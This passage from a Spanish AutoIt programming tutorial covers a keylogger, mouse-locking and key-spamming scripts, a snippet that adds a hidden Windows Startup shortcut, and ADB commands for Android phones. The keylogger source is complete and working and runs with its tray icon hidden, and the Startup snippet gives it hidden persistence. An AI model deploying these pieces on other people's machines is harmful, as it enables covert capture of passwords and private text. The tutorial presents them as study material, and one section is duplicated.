**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuestas.**

- En vez de guardar las imágenes directamente en la carpeta local de Mis Documentos, que se guarde en una subcarpeta que esté en Mis Documentos.

- Crea un directorio remotamente:

\_FTP\_DirCreate($conectar, "nuevo\_directorio")

**\_\_\_\_\_**

**114.- Keylogger.**

- Un Keylogger es una aplicación que **graba las teclas pulsadas, en un archivo**. El usuario utiliza el teclado trabajando con cualquier aplicación y a la vez se está guardando los caracteres de las teclas pulsadas.

- Ejecutamos esta aplicación, vamos a cualquier otra, por ejemplo el Bloc de notas, o un navegador web, escribimos textos.

- Luego vamos a la carpeta donde has copiado este script y ahí se habrá creado un archivo de la forma: **logfiles20190429-1.htm**

- En ese archivo estará la teclas que se han pulsado. Si mientras está ejecutándose el script pulsas teclas, verás cómo se van añadiendo a ese archivo, tienes que actualizar el archivo para verlo.

- Los **Keylogger** se pueden considerar cierto tipo de virus, ya que instalado en un ordenador y activado, otro usuario que pueda acceder al archivo de teclas guardadas, podrá saber qué ha estado tecleando el usuario anterior.

- Los movimientos del ratón no los graba, solo graba las teclas pulsadas.

|  |
| --- |
| **Keylogger** |
| #Include <file**.**au3>  #NoTrayIcon  $count = 1  $date=@year&@mon&@mday  $AttachFiles = @ScriptDir&"\logfiles"&$date&"-"&$count&".htm"  $UserDll = DllOpen("user32.dll")  $window2=""  $log= @ScriptDir  $file = FileOpen($AttachFiles**,** 1)  **; Adaptado por Juan A. Villalpando - KIO4.COM**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** \_IsPressed($hexKey)  **Local** $aR**,** $bO  $aR = DllCall($UserDll**,** "int"**,** "GetAsyncKeyState"**,** "int"**,** $hexKey)  **If** $aR[0] <> 0 **Then**  $bO = 1  **Else**  $bO = 0  **EndIf**  Return $bO  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** \_LogKeyPress($what2log)  $Count += 1  $AttachFiles = @ScriptDir&"\logfiles"&$date&"-"&$count&".htm"  $window=wingettitle("")  **if** $window=$window2 **Then**  FileWrite($file**,**$what2log)  Sleep(100)  **Else**  $window2=$window  FileWrite($file**,**"" & "["& @Year&"."&@mon&"."&@mday&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '"'& $what2log)  sleep (100)  **Endif**  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **If** $file = -1 **Then**  **Exit**  **EndIf**  filewrite($file**,**"")  **While** 1  **If** \_IsPressed(0xBA) = 1 **Then** \_LogKeyPress('; ')  **If** \_IsPressed(0xBB) = 1 **Then** \_LogKeyPress('= ')  **If** \_IsPressed(0xBC) = 1 **Then** \_LogKeyPress(', ')  **If** \_IsPressed(0xBD) = 1 **Then** \_LogKeyPress('- ')  **If** \_IsPressed(0xBE) = 1 **Then** \_LogKeyPress('. ')  **If** \_IsPressed(0xBF) = 1 **Then** \_LogKeyPress('/ ')  **If** \_IsPressed(0xC0) = 1 **Then** \_LogKeyPress('ñ')  **If** \_IsPressed(0xDB) = 1 **Then** \_LogKeyPress('[ ')  **If** \_IsPressed(0xDC) = 1 **Then** \_LogKeyPress('\ ')  **If** \_IsPressed(0xDD) = 1 **Then** \_LogKeyPress('] ')  **If** \_IsPressed(0xDE) = 1 **Then** \_LogKeyPress("' ")  **If** \_IsPressed(0x08) = 1 **Then** \_LogKeyPress('{BACKSPACE} ')  **If** \_IsPressed(0x09) = 1 **Then** \_LogKeyPress('{TAB} ')  **If** \_IsPressed(0x0D) = 1 **Then** \_LogKeyPress('{ENTER} ')  **If** \_IsPressed(0x13) = 1 **Then** \_LogKeyPress('{PAUSE} ')  **If** \_IsPressed(0x14) = 1 **Then** \_LogKeyPress('{CAPSLOCK} ')  **If** \_IsPressed(0x1B) = 1 **Then** \_LogKeyPress('{ESC} ')  **If** \_IsPressed(0x20) = 1 **Then** \_LogKeyPress(' ')  **If** \_IsPressed(0x21) = 1 **Then** \_LogKeyPress('{PAGE UP} ')  **If** \_IsPressed(0x22) = 1 **Then** \_LogKeyPress('{PAGE DOWN} ')  **If** \_IsPressed(0x23) = 1 **Then** \_LogKeyPress('{END} ')  **If** \_IsPressed(0x24) = 1 **Then** \_LogKeyPress('{HOME} ')  **If** \_IsPressed(0x25) = 1 **Then** \_LogKeyPress('{LEFT ARROW} ')  **If** \_IsPressed(0x26) = 1 **Then** \_LogKeyPress('{UP ARROW} ')  **If** \_IsPressed(0x27) = 1 **Then** \_LogKeyPress('{RIGHT ARROW} ')  **If** \_IsPressed(0x28) = 1 **Then** \_LogKeyPress('{DOWN ARROW} ')  **If** \_IsPressed(0x2C) = 1 **Then** \_LogKeyPress('{PRINT SCREEN} ')  **If** \_IsPressed(0x2D) = 1 **Then** \_LogKeyPress('{INS} ')  **If** \_IsPressed(0x2E) = 1 **Then** \_LogKeyPress('{DEL} ')  **If** \_IsPressed(0x30) = 1 **Then** \_LogKeyPress('0')  **If** \_IsPressed(0x31) = 1 **Then** \_LogKeyPress('1')  **If** \_IsPressed(0x32) = 1 **Then** \_LogKeyPress('2')  **If** \_IsPressed(0x33) = 1 **Then** \_LogKeyPress('3')  **If** \_IsPressed(0x34) = 1 **Then** \_LogKeyPress('4')  **If** \_IsPressed(0x35) = 1 **Then** \_LogKeyPress('5')  **If** \_IsPressed(0x36) = 1 **Then** \_LogKeyPress('6')  **If** \_IsPressed(0x37) = 1 **Then** \_LogKeyPress('7')  **If** \_IsPressed(0x38) = 1 **Then** \_LogKeyPress('8')  **If** \_IsPressed(0x39) = 1 **Then** \_LogKeyPress('9')  **If** \_IsPressed(0x41) = 1 **Then** \_LogKeyPress('a')  **If** \_IsPressed(0x42) = 1 **Then** \_LogKeyPress('b')  **If** \_IsPressed(0x43) = 1 **Then** \_LogKeyPress('c')  **If** \_IsPressed(0x44) = 1 **Then** \_LogKeyPress('d')  **If** \_IsPressed(0x45) = 1 **Then** \_LogKeyPress('e')  **If** \_IsPressed(0x46) = 1 **Then** \_LogKeyPress('f')  **If** \_IsPressed(0x47) = 1 **Then** \_LogKeyPress('g')  **If** \_IsPressed(0x48) = 1 **Then** \_LogKeyPress('h')  **If** \_IsPressed(0x49) = 1 **Then** \_LogKeyPress('i')  **If** \_IsPressed(0x4A) = 1 **Then** \_LogKeyPress('j')  **If** \_IsPressed(0x4B) = 1 **Then** \_LogKeyPress('k')  **If** \_IsPressed(0x4C) = 1 **Then** \_LogKeyPress('l')  **If** \_IsPressed(0x4D) = 1 **Then** \_LogKeyPress('m')  **If** \_IsPressed(0x4E) = 1 **Then** \_LogKeyPress('n')  **If** \_IsPressed(0x4F) = 1 **Then** \_LogKeyPress('o')  **If** \_IsPressed(0x50) = 1 **Then** \_LogKeyPress('p')  **If** \_IsPressed(0x51) = 1 **Then** \_LogKeyPress('q')  **If** \_IsPressed(0x52) = 1 **Then** \_LogKeyPress('r')  **If** \_IsPressed(0x53) = 1 **Then** \_LogKeyPress('s')  **If** \_IsPressed(0x54) = 1 **Then** \_LogKeyPress('t')  **If** \_IsPressed(0x55) = 1 **Then** \_LogKeyPress('u')  **If** \_IsPressed(0x56) = 1 **Then** \_LogKeyPress('v')  **If** \_IsPressed(0x57) = 1 **Then** \_LogKeyPress('w')  **If** \_IsPressed(0x58) = 1 **Then** \_LogKeyPress('x')  **If** \_IsPressed(0x59) = 1 **Then** \_LogKeyPress('y')  **If** \_IsPressed(0x5A) = 1 **Then** \_LogKeyPress('z')  **If** \_IsPressed(0x5B) = 1 **Then** \_LogKeyPress('{LEFT WIN} ')  **If** \_IsPressed(0x5C) = 1 **Then** \_LogKeyPress('{RIGHT WIN} ')  **If** \_IsPressed(0x60) = 1 **Then** \_LogKeyPress('Num 0')  **If** \_IsPressed(0x61) = 1 **Then** \_LogKeyPress('Num 1')  **If** \_IsPressed(0x62) = 1 **Then** \_LogKeyPress('Num 2')  **If** \_IsPressed(0x63) = 1 **Then** \_LogKeyPress('Num 3')  **If** \_IsPressed(0x64) = 1 **Then** \_LogKeyPress('Num 4')  **If** \_IsPressed(0x65) = 1 **Then** \_LogKeyPress('Num 5')  **If** \_IsPressed(0x66) = 1 **Then** \_LogKeyPress('Num 6')  **If** \_IsPressed(0x67) = 1 **Then** \_LogKeyPress('Num 7')  **If** \_IsPressed(0x68) = 1 **Then** \_LogKeyPress('Num 8')  **If** \_IsPressed(0x69) = 1 **Then** \_LogKeyPress('Num 9')  **If** \_IsPressed(0x6A) = 1 **Then** \_LogKeyPress('{MULTIPLY} ')  **If** \_IsPressed(0x6B) = 1 **Then** \_LogKeyPress('{ADD} ')  **If** \_IsPressed(0x6C) = 1 **Then** \_LogKeyPress('Separator')  **If** \_IsPressed(0x6D) = 1 **Then** \_LogKeyPress('{SUBTRACT} ')  **If** \_IsPressed(0x6E) = 1 **Then** \_LogKeyPress('{DECIMAL} ')  **If** \_IsPressed(0x6F) = 1 **Then** \_LogKeyPress('{DIVIDE} ')  **If** \_IsPressed(0x70) = 1 **Then** \_LogKeyPress('F1 ')  **If** \_IsPressed(0x71) = 1 **Then** \_LogKeyPress('F2 ')  **If** \_IsPressed(0x72) = 1 **Then** \_LogKeyPress('F3 ')  **If** \_IsPressed(0x73) = 1 **Then** \_LogKeyPress('F4 ')  **If** \_IsPressed(0x74) = 1 **Then** \_LogKeyPress('F5 ')  **If** \_IsPressed(0x75) = 1 **Then** \_LogKeyPress('F6 ')  **If** \_IsPressed(0x76) = 1 **Then** \_LogKeyPress('F7 ')  **If** \_IsPressed(0x77) = 1 **Then** \_LogKeyPress('F8 ')  **If** \_IsPressed(0x78) = 1 **Then** \_LogKeyPress('F9 ')  **If** \_IsPressed(0x79) = 1 **Then** \_LogKeyPress('F10 ')  **If** \_IsPressed(0x77) = 1 **Then** \_LogKeyPress('F8 ')  **If** \_IsPressed(0x78) = 1 **Then** \_LogKeyPress('F9 ')  **If** \_IsPressed(0x79) = 1 **Then** \_LogKeyPress('F10 ')  **If** \_IsPressed(0x7A) = 1 **Then** \_LogKeyPress('F11 ')  **If** \_IsPressed(0x7B) = 1 **Then** \_LogKeyPress('F12 ')  **If** \_IsPressed(0x7C) = 1 **Then** \_LogKeyPress('F13 ')  **If** \_IsPressed(0x7D) = 1 **Then** \_LogKeyPress('F14 ')  **If** \_IsPressed(0x7E) = 1 **Then** \_LogKeyPress('F15 ')  **If** \_IsPressed(0x7F) = 1 **Then** \_LogKeyPress('F16 ')  **If** \_IsPressed(0x80) = 1 **Then** \_LogKeyPress('F17 ')  **If** \_IsPressed(0x81) = 1 **Then** \_LogKeyPress('F18 ')  **If** \_IsPressed(0x82) = 1 **Then** \_LogKeyPress('F19 ')  **If** \_IsPressed(0x83) = 1 **Then** \_LogKeyPress('F20 ')  **If** \_IsPressed(0x84) = 1 **Then** \_LogKeyPress('F21 ')  **If** \_IsPressed(0x85) = 1 **Then** \_LogKeyPress('F22 ')  **If** \_IsPressed(0x86) = 1 **Then** \_LogKeyPress('F23 ')  **If** \_IsPressed(0x87) = 1 **Then** \_LogKeyPress('F24 ')  **If** \_IsPressed(0x90) = 1 **Then** \_LogKeyPress('{NUM LOCK} ')  **If** \_IsPressed(0x91) = 1 **Then** \_LogKeyPress('{SCROLL LOCK} ')  **If** \_IsPressed(0xA0) = 1 **Then** \_LogKeyPress('{LEFT SHIFT} ')  **If** \_IsPressed(0xA1) = 1 **Then** \_LogKeyPress('{RIGHT SHIFT} ')  **If** \_IsPressed(0xA2) = 1 **Then** \_LogKeyPress('{LEFT CTRL} ')  **If** \_IsPressed(0xA3) = 1 **Then** \_LogKeyPress('{RIGHT CTRL} ')  **If** \_IsPressed(0xA4) = 1 **Then** \_LogKeyPress('{LEFT ALT} ')  **If** \_IsPressed(0xA5) = 1 **Then** \_LogKeyPress('{RIGHT ALT} ')  sleep(100)  **Wend** |

- <https://github.com/Pahiro/AutoIT-Scripts/blob/master/keylogger.au3>

- Si te resulta incómodo, puedes quitar las teclas de control, están en las últimas filas del código.

**\_\_\_\_\_**

**116.- Bloqueo del ratón.**

- Este script no lo ejecutes porque se quedará el ratón bloqueado en el vértice superior izquierdo de la pantalla y no podrás utilizarlo, además tendrás problemas con el teclado. Solo lo pongo como ejemplo de estudio.

|  |
| --- |
| **Bloqueo del ratón.** |
| sleep(500)  $i=0  $g=2  change($i)  **func** change($i) **; function changing**  **if** $i >= $g **Then**  $i=0  MouseClick( "left"**,**1**,**1)  Tooltip("1"**,** 0**,** 0)  sleep(1)  send("{enter}")  sleep(1)  $i=$i+1  search($i)  **EndIf**  MouseClick("left" **,**1**,**1)  sleep(1)  send("{down}")  sleep(1)  send("{enter}")  $i=$i+1  Tooltip($i**,** 0**,** 0)  search($i)  **EndFunc**  **Func** search($i)  sleep(1)  change($i)  **EndFunc** |

**\_\_\_\_\_**

**117.- Otro bloqueo de ordenador. Estudio de un Temporizador en vez del Sleep.**

- Vamos a seguir este tutorial: <http://www.elitepvpers.com/forum/autoit/403140-tutorial-how-make-bot.html>

- Aprenderemos a utilizar un temporizador en vez del Sleep, ya que cuando utilizamos éste, la aplicación se queda bloqueada y no podemos hacer nada hasta que no termine la temporización.

- Este script no lo ejecutes porque se quedará el ordenador bloqueado.

- En**key escribes un texto corto**y en time 5000.

- Cada 5 segundos **enviará ese texto a la ventana que tengas abierta y acepte texto** (por ejemplo el Bloc de notas).

- Te costará trabajo cerrar este script ya que está continuamente en bucle y además está en estado de Sleep la mayor parte del tiempo. Mientras está en Sleep, está bloqueado.

|  |
| --- |
| **Bloqueo el ordenador.** |
| #include <GUIConstantsEx.au3>  # Creación de los controles  GUICreate("Título de la ventana."**,** 335**,** 100)  GUISetState(@SW\_SHOW)  GUICtrlCreateLabel("Key"**,** 8**,** 10)  $key1 = GUICtrlCreateInput(""**,** 35**,** 8**,** 120)  GUICtrlCreateLabel("Time"**,** 8**,** 44)  $time1 = GUICtrlCreateInput(""**,** 35**,** 40**,** 120)  $startbutton = GUICtrlCreateButton("Start"**,** 190**,** 8**,** 60)  # Fin de creación de los controles  **While** 1  $msg = GUIGetMsg()  **Select**  **Case** $msg = $startbutton  $send1 = GUICtrlRead($key1)  $sleep1 = GUICtrlRead($time1)  **While** 1  Send($send1)  Sleep($sleep1)  **WEnd**  **Case** $msg = $GUI\_EVENT\_CLOSE  GUIDelete()  **ExitLoop**  **EndSelect**  **WEnd** |

- Mientras la aplicación está en Sleep, no puede hacer otra cosa, no podemos pulsar teclas mientras está en el tiempo de Sleep. Para que pueda temporizar y además tenga la posibilidad de hacer otra cosa se utiliza un Timer.

- Aquí tenemos un código de temporización parecido al Sleep, pero se puede pulsar las teclas durante el tiempo temporizado.

- Crea un tiempo inicial en TimerInit y va consultando TimerDiff hasta que la diferencia se 3 segundos.

|  |
| --- |
| **Temporizador. Timer.** |
| Temporizador**.** Timer**.**  $timer = TimerInit()  **While** 1  $timed = TimerDiff($timer)  **If** $timed > 3000 **Then** **; we use greater than (>) because sometimes it might get skipped**  MsgBox(1**,**"TimerDiff"**,**"TimerDiff : "&$timed)  $timer = TimerInit()  **EndIf**  **WEnd** |

- En el siguiente código se inserta un Temporizador y**podemos pararlo fácilmente.**

|  |
| --- |
| **Código con Temporizador para poderlo parar.** |
| **Dim** $timer**,** $run = False**,** $label[2]=['Start'**,**'Stop']  # Creación de los controles  $gui = GUICreate("Forsaken's Bot"**,** 335**,** 100)  GUISetState()  GUICtrlCreateLabel("Key"**,** 8**,** 10)  $key1 = GUICtrlCreateInput(""**,** 35**,** 8**,** 120)  GUICtrlCreateLabel("Time"**,** 8**,** 44)  $time1 = GUICtrlCreateInput(""**,** 35**,** 40**,** 120)  $button = GUICtrlCreateButton($label[$run]**,** 190**,** 8**,** 60)  # Fin de creación de los controles  **While** 1  **Switch** GUIGetMsg()  **Case** -3  **ExitLoop**  **Case** $button  $run = Not $run  GUICtrlSetData($button**,** $label[$run])  $timer = 0  **Case** **Else**  **If** $run **Then**  **If** TimerDiff($timer) > GUICtrlRead($time1) And Not WinActive($gui) **Then**  Send(GUICtrlRead($key1))  $timer = TimerInit()  **EndIf**  **EndIf**  **EndSwitch**  **WEnd** |

- Con este código enviamos mediante Send el número "1" si el color del elemento pulsado es igual al color del elemento pulsado anteriormente.

- Abre el Bloc de notas y ejecútalo. Pulsa F2

|  |
| --- |
| **Obtener color y escribir "1"** |
| HotKeySet("{F2}"**,** "\_getDefault")  $x = 0  $y = 0  $color = 0  $newColor = 0  $status = "off"  **While** 1  **If** $status = "on" **Then**  **If** \_getCurrentColor($x**,** $y) <> $color **Then**  Send("1")  **EndIf**  **EndIf**  **WEnd**  **Func** \_getDefault()  $coord = MouseGetPos()  $x = $coord[0]  $y = $coord[1]  $color = Hex(PixelGetColor( $coord[0]**,** $coord[1])**,** 6)  $status = "on"  **EndFunc**  **Func** \_getCurrentColor($xDef**,** $yDef)  $newColor = Hex(PixelGetColor( $xDef**,** $yDef)**,** 6)  Return ($newColor)  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuestas.**

- Script para crear un laberinto aleatorio:

<https://www.autoitscript.com/forum/topic/187454-a-maze-ing-generator/>

**\_\_\_\_\_**

**118.- Crear un archivo en la carpeta Inicio de Windows.**

- Cuando un usuario entra en su sesión de Windows, una de las primeras cosas hace Windows es ir a la **carpeta Inicio de ese usuario y ejecutar** los archivos que existen allí.

- La carpeta Inicio está en: **Botón de inicio / "Todos los programas" / Inicio.**

- Si ponemos un archivo ejecutable en esa carpeta, se ejecutará cada vez que entres en tu sesión de Windows.

- En vez de archivos ejecutables .exe, en esa carpeta suele haber enlaces directos (son archivos .lnk de poco tamaño, 1K), esos enlaces directos ejecutan al archivo ejecutable que puede estar en otra carpeta distinta.

- Para ver, configurar, borrar,... los archivos de la carpeta Inicio, puedes utilizar la herramienta **msconfig**de Windows.

- Un script al ejecutarse por primera vez puede autocopiarse, o más bien poner un enlace directo en esa carpeta de Inicio, para que a partir de ese momento cada vez que el usuario entre en su sesión se ejecute el script.

- Aquí puedes ver un ejemplo de creación de enlace en la carpeta de Inicio, no está completado para no dar más pistas.

- Ejecútalo y consulta la carpeta Inicio.

|  |
| --- |
| **Crear un enlace directo en Inicio.** |
| AutoItSetOption("TrayIconHide"**,** 1)  $Shortcut = FileCreateShortcut(@AutoItExe**,** @StartupDir & "\" & @ScriptName & ".lnk")  FileSetAttrib($Shortcut**,** "+H") |

**\_\_\_\_\_**

**118.- Crear un archivo en la carpeta Inicio de Windows.**

- Cuando un usuario entra en su sesión de Windows, una de las primeras cosas hace Windows es ir a la **carpeta Inicio de ese usuario y ejecutar** los archivos que existen allí.

- La carpeta Inicio está en: **Botón de inicio / "Todos los programas" / Inicio.**

- Si ponemos un archivo ejecutable en esa carpeta, se ejecutará cada vez que entres en tu sesión de Windows.

- En vez de archivos ejecutables .exe, en esa carpeta suele haber enlaces directos (son archivos .lnk de poco tamaño, 1K), esos enlaces directos ejecutan al archivo ejecutable que puede estar en otra carpeta distinta.

- Para ver, configurar, borrar,... los archivos de la carpeta Inicio, puedes utilizar la herramienta **msconfig**de Windows.

- Un script al ejecutarse por primera vez puede autocopiarse, o más bien poner un enlace directo en esa carpeta de Inicio, para que a partir de ese momento cada vez que el usuario entre en su sesión se ejecute el script.

- Aquí puedes ver un ejemplo de creación de enlace en la carpeta de Inicio, no está completado para no dar más pistas.

- Ejecútalo y consulta la carpeta Inicio.

|  |
| --- |
| **Crear un enlace directo en Inicio.** |
| AutoItSetOption("TrayIconHide"**,** 1)  $Shortcut = FileCreateShortcut(@AutoItExe**,** @StartupDir & "\" & @ScriptName & ".lnk")  FileSetAttrib($Shortcut**,** "+H") |

**\_\_\_\_\_**

**120.- ADB. Android. Ejecutar comandos de Android desde el ordenador por USB.**

- Conectamos nuestro móvil Android mediante el cable USB al ordenador y desde el ordenador podemos enviarle órdenes de LINUX y de tipo adb.

- ADB es un sofware que, entre otras cosas, conecta el móvil con Android al ordenador mediante un cable USB.

- **Android Debug Bridge**, es un software puente entre el ordenador y el Android para realizar tareas de depuración.

- Si has trabajado con el emulador de App Inventor, probablemente tendrás el adb.exe en...

- **C:\Program Files (x86)\AppInventor\commands-for-appinventor\adb.exe**

- Si no lo tienes lo puedes bajar de muchos sitios por ejemplo de:

- <https://www.autoitscript.com/forum/topic/160936-android-udf/>en [Download ADB, Fastboot & AAPT Here](http://www.mediafire.com/download/d2xoiu15rwi2jcd/ADB%2C+Fastboot+%26+AAPT.zip)

- El **adb.exe** se ejecuta desde el símbolo de sistema, se situas mediante cd en el directorio donde se encuentre adb.exe y lo ejecutas.

- Por ejemplo si has bajado el adb del enlace anterior pondrías ("entre comillas"):

**cd "C:\Users\juan\Downloads\ADB, Fastboot & AAPT"**

**adb devices**

- Si te sale:

- Posiblemente tengas ejecutando otro **adb.exe**. Vas al**Administrador de tareas / Procesos y lo "Finalizas".**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Conexión del móvil al ordenador por USB. ADB.**

- Conectamos el móvil al ordenador por cable USB, éste deberá tener los driver para reconocerlo.

- Escribimos en el símbolo de sistema:

**adb devices**

- Ha reconocido mi móvil, pero no estoy autorizado (unauthorized) a entrar en él.

- **En el móvil**habrá salido una ventana indicando que algun dispositivo pide acceso, lo acepto.

- Escribimos otra vez **adb devices** y vemos que ya estamos autorizado para trabajar con nuestro móvil desde el ordenador.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Conexión del móvil al ordenador por USB. ADB.**

- **Información sobre el estado de la batería:**

- **adb shell dumpsys battery**

- Además de información puedes controlar ciertos parámetros de la batería:

- <https://stanfy.com/blog/android-shell-part-1-mocking-battery-status/>

- **Información sobre los procesos:**

- **adb shell dumpsys meminfo**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Órdenes para trabajar con ADB.**

- Veamos algunas.

1.-**adb devices**

- Muestra los dispositivos Android que están conectados al ordenador.

2.- **adb connect**

- Conecta al Android mediante WiFi.

- adb tcpip 5555  
- adb connect 192.168.1.4                                    (La IP WiFi del móvil)  
- adb devices                                                       (Nos pide que el móvil de la autorización.)  
                                                                           (Puedes quitar el cable USB para observar que está conectado por WiFi)

- adb usb                                                             (Para que vuelva a estar en conexión mediante cable USB)

3.- **adb install**

- Instala aplicación .apk desde el ordenador al móvil

- adb install aplicacion.apk

- adb install -r aplicacion.apk                                         (La reinstala si ya estaba previamente instalada)

- adb install -s aplicacion.apk                                         (La instala en la tarjeta SdCard)

4.- **adb uninstall**

- Desinstala paquete de aplicación. Observa que es app (no es apk). Es una aplicación instalada en el móvil.

- adb uninstall com.aplicacion.app

5.- **adb shell pm list packages**

- Listado de paquetes instalado.

- adb shell pm list packages -f                                       (Paquetes y sus archivos)

6.- **adb shell pm path com.android.phone**

- En qué directorio está instalado ese paquete:

- adb shell pm path com.twitter.android

7.-**adb shell pm clear com.aplicacion.android**

- Borra los datos que se han creado con ese paquete.

8.- **adb pull /sdcard/demo.mp4 C:\midirectorio\**

- Baja un archivo desde el móvil al ordenador

- adb pull /sdcard/micancion.mp3 C:\midirectorio\miscanciones\

9.-**adb push C:\aplicacion.apk /sdcard**

- Sube un archivo desde el ordenadro al móvil

adb push d:\test.apk /sdcard/canciones

10.- **adb shell**

- Entramos en el intérprete de comandos de Android, que proviene de LINUX.

- Podemos utilizar**ls, cd, rm, mkdir, touch, pwd, cp, mv**

**ls: listado de archivos.**  
ls  
ls -R  
ls -s  
ls -a  
**cd cambia de directorio**  
cd /mnt/sdcard  
**rm borra un archivo o directorio**  
rm directorio  
rm -r directorioysuinterior  
rm -d directorionovacio  
rm -i directorio pide permiso antes de borrar  
**mkdir crea un directorio**  
mkdir /mnt/sdcard/directorio  
**touch crea un archivo vacio.**  
touch /mnt/sdcard/archivo.txt  
**pwm en qué directorio estoy?**touch /mnt/sdcard/archivo.txt  
**cp copia archivo o directorio**  
cp /mnt/sdcard/archivo.txt /mnt/sdcard/otrodirectorio/archivocopiado.txt  
**mv mueve o cambia el nombre de archivo o directorio**

**netstat**- Qué IP están conectadas al móvil

**ping kio4.com**- Ver si tengo conexión a Internet.                     (Ctrl C para parar)

**netcfg**  
- Ver tu IP

**ip -f inet addr show wlan0**  
- Ver y poner parámetros de red

10.- **adb logcat**

- Muestra un registro de los eventos que han ocurrido en el móvil          (Ctrl C para parar)

- Se utiliza para ver errores.

11.- **adb shell dumpsys battery**

- Ver el estado de la batería.

12.- **adb shell dumpsys**

- Información del sistema.

adb shell dumpsys > D:\midirectorio\volcado.txt             (Lo guarda en un archivo del ordenador)

13.- **adb shell screencap /sdcard/screen.png**

- Captura la pantalla del móvil y guarda la imagen en un archivo en un directorio.

14.- **adb shell screenrecord /sdcard/demo.mp4**

- Captura en vídeo lo que se esté viendo en la pantalla.                   (Ctrl C para parar)

15.- **adb shell getprop**

- Mucha información del dispositivo. Imei, número de serie, fecha de instalación, chip,...

- adb shell getprop > D:\midirectorio\movil.txt

16.- **adb shell ps**

- Procesos.

17.- **Llamada de teléfono:**

adb shell am start -a android.intent.action.CALL -d tel:123456789

adb shell service call phone 2 s16 "+123456789"

**\_\_\_\_\_**